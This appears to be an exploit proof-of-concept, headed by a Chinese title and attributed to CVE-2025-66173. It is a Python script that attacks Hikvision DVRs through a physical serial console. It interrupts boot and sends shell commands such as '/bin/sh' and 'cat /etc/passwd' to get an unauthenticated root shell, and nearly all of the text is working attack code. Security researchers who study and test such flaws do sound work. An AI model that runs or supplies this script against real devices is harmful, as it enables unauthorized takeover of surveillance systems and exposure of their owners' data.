CVE-2025-66173 海康威视DVR串口权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-66173 PoC - Hikvision DVR Serial Port Privilege Escalation Note: This PoC is for educational and authorized testing purposes only. """ import serial import time import sys def exploit_serial_privilege_escalation(port='/dev/ttyUSB0', baudrate=115200): """ Exploit for Hikvision DVR serial port privilege escalation vulnerability. This allows unauthorized shell access via physical serial connection. :param port: Serial port device path :param baudrate: Baud rate for serial communication (typically 115200) """ try: # Connect to serial port ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=1 ) print(f"[*] Connected to {port} at {baudrate} baud") # Wait for device boot time.sleep(3) # Clear serial buffer ser.flushInput() ser.flushOutput() # Method 1: Try to break into uboot/shell during boot print("[*] Attempting to break into shell during boot...") for _ in range(10): ser.write(b'\r\n') time.sleep(0.3) # Method 2: Send break sequence to trigger shell print("[*] Sending break sequence...") ser.send_break(duration=0.5) time.sleep(1) # Method 3: Try common debug commands to bypass authentication debug_commands = [ b'shell\r\n', b'/bin/sh\r\n', b'exec /bin/sh\r\n', b'id\r\n', b'cat /etc/passwd\r\n', b'uname -a\r\n' ] for cmd in debug_commands: print(f"[*] Trying command: {cmd.decode().strip()}") ser.write(cmd) time.sleep(0.5) # Read response response = ser.read(ser.in_waiting) if response: print(f"[RESPONSE]\n{response.decode('utf-8', errors='ignore')}") # Check if we got shell access if b'#' in response or b'$' in response or b'root' in response: print("[+] Shell access obtained!") return True # Read any remaining data response = ser.read(ser.in_waiting) if response: print(f"[FINAL RESPONSE]\n{response.decode('utf-8', errors='ignore')}") ser.close() return False except serial.SerialException as e: print(f"[-] Serial connection error: {e}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': print("="*60) print("CVE-2025-66173 - Hikvision DVR Serial Privilege Escalation") print("="*60) port = sys.argv[1] if len(sys.argv) > 1 else '/dev/ttyUSB0' baudrate = int(sys.argv[2]) if len(sys.argv) > 2 else 115200 print(f"[*] Target: {port}") print(f"[*] Baudrate: {baudrate}") print("[*] Starting exploitation...\n") result = exploit_serial_privilege_escalation(port, baudrate) if result: print("\n[!] VULNERABLE - Shell access achieved") else: print("\n[*] Exploitation completed - check output above")